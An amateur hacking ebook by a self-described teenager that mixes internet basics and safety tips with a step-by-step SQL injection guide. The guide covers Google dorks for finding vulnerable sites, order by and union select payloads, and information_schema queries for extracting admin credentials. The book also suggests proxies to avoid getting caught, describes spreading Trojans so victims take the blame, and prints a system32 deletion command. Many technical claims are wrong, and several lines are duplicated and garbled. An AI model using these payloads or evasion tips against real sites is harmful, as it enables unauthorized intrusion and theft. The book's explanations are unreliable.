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A book by Cynic limbu.

RECOMMENDATION : Please read this as its original format (.pdf) There are images to make you understand much better.

Table of context

About the author Introduction to hacking How to become a Hacker Requirements Little guide to the internet Utilizing the internet Password Cracking/Hacking Website hacking Computer hacking Protecting yourself Windows (OS)

About the author

My internet name is Cynic. I’m not a big guy just a teenager (Below intermediate). I will share my little bit of experience living on the

internet. LET’S GO!

And yeah, this is my first book :D

If you find anything wrong or miss-spelled I’m really sorry. Please look up the word in Google.

Thank you for your co-operation.

Introduction to hacking

Hacking is not like shown in the films. Don’t get fooled by seeing how hackers hack computers

in the films. It’s just like logging into your

computer but for hackers something more happens.

There are three types of hackers

  • 1. White hats : These guys are good guys they’ll find vulnerabilities of someone who pays them and tries to fix them.

  • 2. Grey hats : These guys are in the somewhere in the middle. They sometimes does good things and sometimes bad things too.

  • 3. Black hats : These are the bad guys. All they want is to have fun or steal your identity/money.

And even these white hats, grey hats, black hats has classes.

1. Script kiddies : Knows nothing about computers. Downloads programs made by other elite/indermediate hackers and uses them for bad or good thing.

  • 2. Intermediate : These people knows what

they’re doing but still sometimes uses

programs made by other hackers.

  • 3. Elite : These people are professional

hackers. You don’t want to mess with them.

How to become a Hacker?

Don’t worry. I will give you some of the experience stored in my brains.

Everybody needs things in order to do their job and its called requirements. I will talk about

requirements you need in order to become a Hacker.


Creativity : You need to be able to think in a unique and different way.

Programming experience : I will talk about this later. Laziness : You might be thinking WHAT O_O

But lazy people find things to do in an easy way. Attitude : After you know about hacking you must held your head high. Don’t go to someone and say “Hey, teach me how to do this”. First

you try it to solve yourself and then you should

go to someone and say “I have a problem”.

Whatever you learn don’t forget to share it. Like I’m sharing you my experience now.

Little guide to the internet

IP: IP stands for Internet protocol. We human beings have a name and like us the computers too have names. IP address looks like

What does it do?

Whenever you’re connected to the internet you’re showing your IP address on the internet

and therefore you’re online. Whenever you go to Facebook your computer will send a packet

saying “I need you to open” and the website says “Okay”. But in order to talk to the site your computer needs a name so that’s why IP

address are very important. Without IP address you cannot surf the internet. Every computers and website has a name. To find out more go to this site

I will explain packets later.

DNS : DNS stands for Domain Name Server. DNS is a protocol within the set of standards for how computers exchange data on the Internet and on many private networks, known as the TCP/IP protocol suite. Its basic job is to turn a user-friendly domain name like "" into an Internet Protocol (IP) address like that computers use to identify each other on the network. It's like your computer's GPS for the Internet.

Vulnerability : A vulnerability is a weakness which allows an attacker to reduce a system's information assurance. A vulnerability can make hackers take advantages of it.

Proxy : A proxy is just something that will help protect your privacy. Whenever you’re connected to the internet you’re showing your

IP address online. If you want to hide your IP address all you do is type in “Proxy server liston Google and you will get proxy list. Whenever a Hacker is hacking a computer he can be caught.


Because the FBI or anyone can find the IP address of the Hacker’s computer and can trace him. But hackers aren’t that dumb. They will use proxy and instead of his IP address they will see someone else’s IP address and in that way it will be little harder to trace the real bad guy.

But how is proxy made?

Well if you want to visit a website or hack a

website but don’t want to get caught you use a

website as a proxy. What that proxy website does is it will replace your real IP address and show another fake IP on the internet so nobody can find your actual IP.

And if you’re using a proxy to hack a computer you make a Trojan virus and send it to random

people. Out of 100 at least 10 to 20 or 50

people may download it not knowing that it’s a

Trojan virus. So when the computer downloads the Trojan it can now be controlled by the attacker and an example of it is If I made a

Trojan virus and you have downloaded the Trojan I can control your computer without you knowing that I have taken control over your computer. I can use your computer to hack others computer and instead of me you can get caught.

Ports : Basically there are two kind of ports. Hardware & Software.


Do you have a keyboard that has a wire? You need to connect it to a

Do you have a keyboard that has a wire? You need to connect it to a hole on the CPU! Don’t you? That hole is an example of a hardware port. More example are the holes in the CPU

where wires are connected. (From monitor to CPU, SD card port, USB port etc.)


where wires are connected. (From monitor to CPU, SD card port, USB port etc.) SOFTWARE :

You cannot see a software port but there’s an example of it. Whenever you connect to a website you open a port on your modem so

your computer and the website can send and receive data through the internet.

Whenever you want to talk to someone you need to open your mouth and the computer too needs to open a port in order to talk to the website or another computer via internet.

Packets : Whenever you go to a website your computer and the website are talking to each

other. If you upload an image on Facebook your

computer says “Hey I want to upload a picture” to the website and the website says “Okay” and

it takes you to the photo uploading page. Every bit of letters and pictures you send to the website are turned into packets. Before the image is uploaded into Facebook it is turned into tiny bits of packets and sent one by one.

That is called packets.

Cookie : Cookies are relatively small amounts of data that a website saves to your computer while you are viewing a web page. Cookies usually contain information such as your user name or a saved password, so that the website can identify who you are when you return to the site later on. Usually any data in the cookie is encrypted or in a form only readable by that particular web page, so you don't have to worry about sensitive data being stored in your cookies (as long as the web site you visit is trusted)

Trojan : A Trojan horse, or Trojan, is a non-self- replicating type of malware which appears to useful but instead gets an unauthorized access to the user's computer system.

Hash : A hash can also be called code word. And it’s very important because a hash can save your data’s. Example I have a hash function and here’s what is looks like

  • 1 = C

  • 2 = Y

  • 3 = N

  • 4 = I

So whenever I want to give my name to someone the person or machine should know the hash to understand what I say. If there’s someone listening to me talking to my friend and wants to know my name but I don’t want that person to know my name I will tell my friend my name is 12341 and that is CYNIC if we look up at the values. That is what hash means.

Encryption : Encryption is the conversion of data into a form, called a ciphertext, that cannot be easily understood by unauthorized people. Like I just told you about hashes.

Decryption : Decryption is the process of converting encrypted data back into its original form, so it can be understood

Cache : The cache is also a small amount of saved data, but the cache stores any files needed to view a website (text, images, other media) so that the page load time is shorter if you happen to visit the page again in the future. For example, if I have a 1 MB image on my home page, it would be a hassle to load the

image from the Internet again and again -- instead, the local copy of the image in the cache is loaded into the browser, making the overall load time a lot faster.

HTTP: It stands for Hypertext markup language. Have you seen HTTP whenever you go to a website? Like ? If you want to know more about HTTP just lookup HTTP on Google and see detail information about it on Wikipedia. All I want to say was HTTP is not a verified website and not safe.

What I mean by verified is its not place where you may want to give your personal information.

HTTPS : HTTPS stands for Hypertext markup language secure and that means its verified and you’re safe. What is the difference between HTTP & HTTPS?

Whenever you connect to an HTTP website by opening a port on your computer you and the website are talking to each other by sending and receiving packets but the HTTP website will not encrypt the packets you’re sending and receiving so it can be captured by a Hacker and can be read all the things you sent and received. Even your cookies can be read easily if someone finds it.

But that doesn’t happen on the website that has HTTPS because every packets your

computer sends and receives will be encrypted into a hash so only the website or the people from the website’s company can understand it, nobody else. Even the cookies are encrypted into hash so someone who steals the cookie

won’t be able to read it.

*Note : Hash can be the last line of protection.

Prevention is better than cure. So don’t let

someone have your personal data even if its

encrypted because it can be decrypted.

FTP : Ftp stands for File Transfer Protocol. It is located just in the group where HTTP and HTTPS are. HTTP and HTTPS are for people who visits the website and FTP are for people who owns the website.

To go to FTP sever of the website you just type in and you will be prompted to type in the username & password.

What’s different?

FTP server is where the owner can manage the website’s contents. Whenever you type you will be taken to or if the website is safe and verified.

Utilizing the internet

Know how to utilize the internet because it will help you a lot. But don’t just look up for “How to hack” on YouTube, people will show you

hacking Facebook accounts with the help of some software and that’s totally false. Don’t download a software that calls “Facebook hacker” itself. It can be anything (Trojan, virus, worm) Be careful. In the internet you shouldn’t trust anybody.

Websites like Google and Wikipedia can help you a lot.

Password cracking/Hacking

Now it’s time for hacking & cracking passwords. How are password hacked?

You don’t have to call it hacked literally, you can say how are they stolen from someone’s

computer. So if a cookie that contains your username or password is on your computer someone can just copy it and paste it to their

portable SD card or can be sent to the attacker via internet.

How it’s sent through internet?

Probably with the help of Trojan virus.

Whenever you want to send something from your computer to the internet, always remember that it needs a port to open.


Shoulder surfing : If someone is near you and you’re logging into a website they can see what you’re typing and can know your password

Social engineering : The hacker calls you and fools you in the form of some security guy and can ask your username & password.

And how are passwords cracked?

Here are the list of common password cracking method.

Brute force : Brute forcing is a technique. It works by trying every single letter, numbers & special characters example (a,b,c,1,2,3,@,$,#,&). It may take a long time to find the password but it will bring accurate results.

Phishing : The hacker will give you a link to a website and you will be fooled to login into that site or accidentally download a key logger.

Now how will I download a key logger?

Now don’t be fooled. Whenever you go to a site your computer will open a port and your computer can download a virus or Trojan through the port without your knowledge.

Dictionary attack : It will just use the words from dictionary to find your password.

Guessing : The attacker will try to guess your password. If he fails he will try to click on forgot password and if he has to type in your security question he can guess that too.

*Note : Brute forcing, Dictionary attacks are done by programs. If you want to make your own you need to learn programming languages like C++, C, Python, Perl, Ruby. If you want one you can download Brutus, Hydra. These two are famous softwares for cracking passwords.

Remember! Don’t think these are the only

method for password cracking. There are so

many of them but I’m just giving you the

famous methods for password cracking. If you want more methods for password cracking try looking up on Google.

Website hacking

Just like password cracking there are so many methods for hacking a website but I will explain you the famous ones.

Usually website that are secure (HTTPS) does not usually have an FTP server.


Because FTP is not safe. FTP server can be brute forced and the username and password can be found out by the attacker. But whenever

you try to brute force the FTP server of the website the owner of the site can find that

you’re trying to crack the username and

password. You can get caught. This is the time when hacker uses proxy. So instead of his IP the

owner will see someone else’s IP.

So if it doesn’t has an FTP server how is

the site managed?

Well, you’ll have a group of computers or a computer maybe even a software that will connect you to the website as an administrator and you can manage the webpage.

How is it managed?

You’ll probably upload the script and

overwrite the old one or make a new script for new features and looks.

SQL injection : SQL stands for Structured Query Language. is a special purpose- programming language designed for managing data held in a relational database management systems (RDBMS). But some websites can have SQL vulnerability and hackers can bypass the login or even take control of the website.

What a hacker can do with SQL Injection attack?

Accessing secret data Bypass login Modifying contents of website Shutting down the My SQL server

Step 1: Finding Vulnerable Website:

To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords. Those keyword often referred as 'Google dork'.

REMEMBER : Every site isnt vulnerable to SQL injection.

Some Examples:





Copy one of the above keyword and paste in the Google. Here , we will got lot search result

with We have to visit the websites one by one in order to check if the website is vulnerable to SQL injection.

Note : If you like to hack particular website,then try this:

for example: dork_list_commands

And what I mean by that is inurl:index.php?id=

Don’t get fooled by dork_list_commands

Instead of “dork_list_commandsUse inurl:index.php?id= inurl:index.php?id= like that

Step 2: Checking if the website is vulnerable to SQL injection:

Now let us check the vulnerability of the target website. To check the vulnerability , add the single quotes(') at the end of the url and hit enter.

For example:

NOTE : Not every website has index.php. There are many names and some example of it are index.php, index.shtml, default.asp. These are known as Webserver directory index

If you got an error message just like this, then it means that the site is vulnerable

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Now this isn’t an accurate error message. If the site is vulnerable you will get an error message. Just think that if you get an error message that means its vulnerable

If the page remains in same page or showing that page not found, then it is not vulnerable. You need to move on. (Find another site which is vulnerable)

So is it vulnerable? Let’s proceed to step 3 then

Step 3: Finding Number of columns:

Great, we have found that the website is vulnerable to SQL attack. Our next step is to find the number of columns present in the

target database.

For that replace the single quotes(') with "order by" statement.

For example : order by 1 order by 2 order by 3 order by 4

Keep going up and up. What I mean by that is keep going keep increasing the number order by

4, order by 5, order by 6

Increase the number 1,2,3,4,5,6,

Until you

.... get the error like "unknown column ". So whenever you get an error while increasing

numbers. Let’s say that you got an error on order by 7

That means the website has 6 columns.

In case, if the above method fails to work for you, then try to add the "--" at the end of the statement.

For example : order by 1--

Step 4: Find the Vulnerable columns:

We have successfully discovered the number of columns present in the target database. Let’s find the vulnerable column by trying the query

"union select number_of_columns ".

Now don’t get confused by union select number_of_columns again. All you need

to think is instead of “number_of_column” you

need to put numbers. Like (1,2,3,4,5,6,7)

So how many columns does the website has?

Let’s think that the website we are hacking has

7 columns. It would be like this

For example: union select 1,2,3,4,5,6,7--

If the above method is not working then try this: and 1=2 union select 1,2,3,4,5,6,7--

Once you execute the query, it will display the vulnerable column.

It may look like this image

Once you execute the query, it will display the vulnerable column. It may look like this

Boom, column '3' and '7' are found to be vulnerable. Let us take the first vulnerable column '3' . We can inject our query in this column.

Note : If you’ve converted this into a text file don’t worry. After you execute the code and 1=2 union select 1,2,3,4,5,6,7--

You will see some numbers and the seen numbers are supposed to be vulnerable.

Let’s think that right now column 3 and 7 are


Step 5: Finding version, database, user

Finding the Version :

Replace the 3 from the query with "version()"

For example : and 1=2 union select 1,2,version(),4,5,6,7--

Now, It will display the version as 5.0.1 or 4.3. something like this.

Finding the database

Replace the version() with database().

For example : and 1=2 union select 1,2,database(),4,5,6,7--

Finding the user :

Now Replace the database () with user().

For example : and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working, then try this: and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7

Step 6: Finding the Table Name

If the Database version is 5 or above. If the version is 4.x, then you have to guess the table names (blind SQL injection attack).

Let us find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For example : and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Now it will display the list of table names. Find the table name which is related with the admin or user.

For example : and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()-- Now it will

Let us choose the "admin " table.

Step 7: Finding the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE


We have to convert the table name to MySql CHAR() string.

Now you cannot do much without a software and I’d recommend you to use Firefox while dealing with SQL related things because its friendly and easy to use.

Install the HackBar addon:

Once you installed the add-on, you can see a toolbar that will look like the following one. If

you are not able to see the Hackbar, then press


Select SQL > MySQL > MySQL Char() in the Hackbar.

you are not able to see the Hackbar, then press F9. Select SQL > MySQL >

It will ask you to enter string that you want to convert to MySQL CHAR(). We want to convert the table name to MySQL Char . In our case the table name is 'admin'.

you are not able to see the Hackbar, then press F9. Select SQL > MySQL >

Now you can see the CHAR(numbers separated with commas) in the Hack toolbar.

Now you can see the CHAR(numbers separated with commas) in the Hack toolbar. Copy and paste

Copy and paste the code at the end of the url instead of the "mysqlchar"

For example : and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

The above query will display the list of column.

For example :

admin,password,admin_id,admin_name,admin_passwo rd,active,id,admin_name,admin_pas s,admin_id,admin_name,admin_password,ID_admin,ad min_username,username,password etc.

Now replace the replace group_concat(column_name) with



Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For example :

and 1=2 union select


from admin--

If the above query displays the 'column is not found' erro, then try another column name from the list.

Step 8: Finding the Admin Panel:

Just try with URL like:

If we got luck, then it will display the data

stored in the database depending on your column name. For instance, username and password column will display the login credentials stored in the database.

------------------END OF SQL INJECTION---------------

Woof, that was quite long. Remember I just explained you a piece of my experience on SQL injection. This is not totally everything about SQL injection. You have to learn more. Look up for video on SQL Tutorial on YouTube.

XSS : Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users.

Types of Cross Site Scripting XSS attacks are broadly classified into 2 types:

  • 1. Non-Persistent XSS Attack

In case of Non-Persistent attack, it requires a user to visit the specially crafted link by the attacker. When the user visit the link, the crafted code will get executed by the

user’s browser.

  • 2. Persistent In case of persistent attack, the code injected by the attacker will be stored in a secondary storage device (mostly on a database). The damage caused by Persistent attack is more than the non- persistent attack.

Sorry fellas I won’t be explaining much

about XSS like I explained about SQL


Evercookie : This enables a Java script to create cookies that hide in eight different places within a browser, making it difficult to scrub them. Evercookie enables the hacker to identify the machine even if traditional cookies have been removed.

Attacking HTTPS with Cache Injection :

Injection of malicious Java script libraries into a browser cache enables attackers to compromise Web sites protected by SSL. This will work until the cache is cleared. Nearly half

the top 1 million Web sites use external Java script libraries.

Computer hacking

Computers are hacked by RAT’s (Remote administration software)

There are two types of RAT

  • 1. For good guys

  • 2. For bad guys

For the good guys : It is used to do good things like if your computer has a problem and you need a help from me but we are in different countries I can control your computer with Team viewer. It’s a software

that allows me to control your computer or you to control mine.

For the bad guys : They make their own Trojans or they will download RAT’s made by

other hackers.

I told you before in the requirements field that you need to learn programming.

What can I do after learning programming language?

The most recommended thing for a hacker is to learn programming languages like C++, C , Python, Perl, Java, Visual Basic .NET, HTML, XHTML, SQL, JavaScript, PHP. After you know

these High-level programming languages nothing can stop you. You can do almost anything. You can create an Anti-virus, Games, Chat bot, Websites and much more.

So if you want to create your own software’s

you may want to learn high-level programming languages. I promise! It will help you a lot.

Protecting yourself

Now you’ve learned most common methods of

hacking and have understood what are cookies, hashes, packets etc. You can protect yourself.

But first of all let’s revise some important

things in order to protect yourself.

Never go to a site you don’t have any information about. You can accidentally

download a virus or Trojan and it’s harmful

& dangerous for your computer and your privacy.

Always make sure your passwords are longer and contains special characters.

Don’t share your personal identity to someone you don’t know even to those

people who you know.

If possible use a proxy.

If you suspect you have a virus on your computer (Windows) hold Ctrl + Shift + Esc

and the task manager will pop up, click on processes and check for unknown processes. If you find a process and you

suspect it’s a virus right click on it and click

on file location after that scan that file or look up the process name on Google. Processes named winlogon.exe & csrss.exe has nothing in their description and its not

a virus so don’t end process them. They’re

windows file which are needed to run for the computer to work.

Whenever you give your computer to someone make sure you clear all your

cookies because you don’t want them to

get it.

Don’t download software’s like Skype credit generator, Facebook hacker, Gmail

hacker. 29% of them are Trojan, 66% of them are fake and only 5% may work for

real but you still shouldn’t trust them.

Even image (.img, .jpg, .png) , PDF (.PDF) files can contain virus so be careful.

So always be cautious. Don’t get fooled or

confused by what others say.


Why shouldn't you accept friend request of unknown people?

You may be saying LOL Nonsense. But its dangerous. (Your email can be hacked)

There is a new security option where you can send codes to 3 different friends whenever your email account gets hacked or you forget your password and you insert the code in 3 boxes after that BAM! Your email is opened.

Another easy way is guessing

For example if someone's security question is "Where was your mother/father born" And you know that person if from which country, It's likely that the victims security question's answer is from this particular country. After the security question is right you will get access to the person's facebook account after 24 hours


  • 1. The first line of defense is making your password longer and hard to guess.

So make sure youve made a strong password containing capital letters and small letters

  • 2. The second line of defense

Make an alternative email. The email shouldnt be in your name. Choose a different name & dont make the password same. Id recommend you to use Gmail. If you want to put up a security question make sure its not easy to be guessed.

  • 3. Dont download anything youre not familiar with.


Windows operating system

Windows is an OS and people usually have installed them in their computers.

It’s very old and easy to use.

You must learn what batch files & VB script are. You can make a chat bot just with batch files and other programs that can help you and you can make the computer work automatically with the help of VB script.

Learn about

Windows registry (regedit) Here’s short information about Windows registry. It contains registry values about

your computer. If you change it without

knowing what you’re dealing with you can

kill your computer so be careful. To open up Windows registry Hold Windows button + R

and type in “regedit” and hit enter. Or just search for regedit on the start menu

System 32 (C:\windows\system32) Here’s short information about System 32.

System 32 contains important files that are needed to run the computer. Even the programs you install will save important

files in system 32 to work properly.

If you delete system 32 your computer will die. So dont download an unknown software! In a batch file

Del C:\windows\system32

This one line of code will make your computer dead. What that means is

Del : Delete C:\windows\system32 : The file location.

But I think it needs administrator rights to delete it so never ever download a program and give it administrator rights. Dont click on Run as administrator

If you do the particular program can do anything that the computers administrator can.


How to use Windows command prompt

And remember! This book does not cover total information about Hacking. Common methods that are used are explained here and some were added.

If you want to learn web hacking techniques (For dummies) go to

It will give you training on basic, intermediate, real life hacking and much much more.

For knowledge about computers and much more

And to learn much about hacking

------------------------THANK YOU----------------------

WARNING : This book was written and published only for educational purpose.

After what you’ve learned from this book I

will not be held responsible for your actions.

Be safe, Help others

“Experience is the boost to succeed” –

Cynic limbu

Nepali \m/

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